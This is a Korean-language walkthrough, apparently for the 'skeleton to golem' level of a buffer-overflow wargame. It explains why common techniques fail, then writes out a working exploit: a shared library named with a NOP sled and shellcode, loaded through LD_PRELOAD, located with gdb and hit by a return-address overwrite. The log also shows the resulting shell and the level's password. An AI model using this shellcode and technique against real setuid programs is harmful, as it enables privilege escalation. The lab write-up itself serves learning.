skeleton to golem
이번 문제는 stack destroyer 가 추가된 버전이다.
1.일단 argv의 개수의 제한은 없다.
2.그리고 ret의 시작주소가 bf로 제한 되어 있어, 스택영역에서 공격이 이루어져야 한다.
3.마지막에서 버퍼를 sfp까지 초기화 한다.
4.마지막에서 ret이후에 모든 스택영역을 초기화 시킨다.
이 조건으로 볼때, 다음과 같이 공격이 이루어 져야 한다.
1.변조할수 있는 곳은 ret뿐이다.
2.main 함수의 stack frame보다 낮은 주소에 쉘코드가 존재해야 한다.
이때 공격기법을 생각해보자면
1.환경변수 공격은 안된다. egg hunter 가 없지만, ret이후에 모든 스택영역을 초기화 하면서 불러왔던 모든 환경변수도 초기화 된다.
2.ret2libc도 안된다. 정확히 ret 즉 4byte만 변조가 가능하다.
3.버퍼에 쉘코드를 올려서 공격도 불가하다. 버퍼 초기화 코드가 들어가 있다.
4.argv에 쉘코드를 올려서 공격도 불가하다. ret이후에 argv가 저장되기 때문이다.
5.심볼릭 링크 공격도 불가하다. argv[0]도 초기화 되고, 찌꺼기 조차 초기화 되기 때문이다.
그렇다면 공유 라이브러리를 이용해 공격해보자.
공유라이브러리는 함수,변수 등을 프로그램에서 시작하기 전에 로드하여 필요로 할때마다 연동되는 동적인 라이브러리 이다.
이때, 공격자가 쉘코드를 이름으로 가지는 공유라이브러리를 만들어 skeleton에서 부르도록 한다면, skeleton에 스택프레임 이전에는 공유라이브러리의 이름들이 들어갈 것이기 때문에 스택에 성공적으로 쉘코드를 넣을 수 있다.
공격을 해보자!
[skeleton@localhost skeleton]$ cat > hack.c
void hack(){}; // 내용 없이 소스파일을 하나 만든다.
[skeleton@localhost skeleton]$ gcc hack.c -fPIC -shared -o `perl -e 'print "\x90
"x100,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'` //100개의 nop slide와 shellcode를 이름으로 공유 라이브러리 파일을 생성한다.
[skeleton@localhost skeleton]$ ls
env golem golem_1 hack.so
env.c golem.c hack.c ????????????????????????????????????????????????????????????????????????????????????????????????????몽?@P1픐멘??
[skeleton@localhost skeleton]$ export LD_PRELOAD="$(pwd)/$(perl -e 'print "\x90"
x100,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"')" //환경변수 LD_PRELOAD 에 공유라이브러리의 정확한 위치와 이름을 지정하면
[skeleton@localhost skeleton]$ gdb -q golem_1 //프로그램은 LD_PRELOAD로 지정된 공유 오브젝트를 먼저 링크시키게 된다
(gdb) b *main+163
Breakpoint 1 at 0x8048513
(gdb) r `perl -e 'print "\xbf"x48'`
Starting program: /home/skeleton/golem_1 `perl -e 'print "\xbf"x48'`
/bin/bash: /home/vampire/.bashrc: Permission denied
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Breakpoint 1, 0x8048513 in main ()
(gdb) x/50xw $ebp - 3000
0xbffff020: 0x000001fe 0x00000000 0x0000050f 0x00000446
0xbffff030: 0x00000000 0x00000500 0x0000054e 0x000006d6
0xbffff040: 0x0000068b 0x00000000 0x0000037d 0x00000000
0xbffff050: 0x0000038c 0x00000000 0x000000cb 0x0000059b
0xbffff060: 0x00000707 0x00000557 0x00000000 0x00000564
0xbffff070: 0x00000000 0x00000301 0x0000048e 0x00000550
0xbffff080: 0x00000000 0x0000067f 0x00000000 0x00000000
0xbffff090: 0x00000715 0x000005e9 0x0000060d 0x00000529
0xbffff0a0: 0x000003a4 0x00000351 0x000006cd 0x000000b9
0xbffff0b0: 0x00000679 0x00000000 0x000005e1 0x00000141
0xbffff0c0: 0x00000503 0x00000072 0x0000062d 0x00000000
0xbffff0d0: 0x00000000 0x000005a3 0x0000021e 0x0000020d
0xbffff0e0: 0x00000608 0x00000000
.
.
.
.
.
.
.
.
.
.
(gdb)
0xbffff728: 0xbffff734 0x40001528 0x000002c8 0x00000000
0xbffff738: 0x080482d0 0x00000000 0x00000001 0x40000824
0xbffff748: 0xbffff754 0x400075bb 0x40017000 0x00002fb2
0xbffff758: 0x40013868 0xbffff914 0x4000380e 0x40014458
0xbffff768: 0x6d6f682f 0x6b732f65 0x74656c65 0x902f6e6f
0xbffff778: 0x90909090 0x90909090 0x90909090 0x90909090 //nop slide가 보이므로 이 위치를 ret으로 잡는다.
0xbffff788: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff798: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7d8: 0xb8909090 0x400fbff9 0x50c03150 0x058ae0b8
0xbffff7e8: 0x00c35040 0x40013868
(gdb) quit
The program is running. Exit anyway? (y or n) y
[skeleton@localhost skeleton]$ bash2
[skeleton@localhost skeleton]$ ./golem `perl -e 'print "x"x44,"\x78\xf7\xff\xbf"
'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?
풦llegal instruction
[skeleton@localhost skeleton]$ ./golem `perl -e 'print "x"x44,"\x88\xf7\xff\xbf"
'`
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx덗
풺ash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee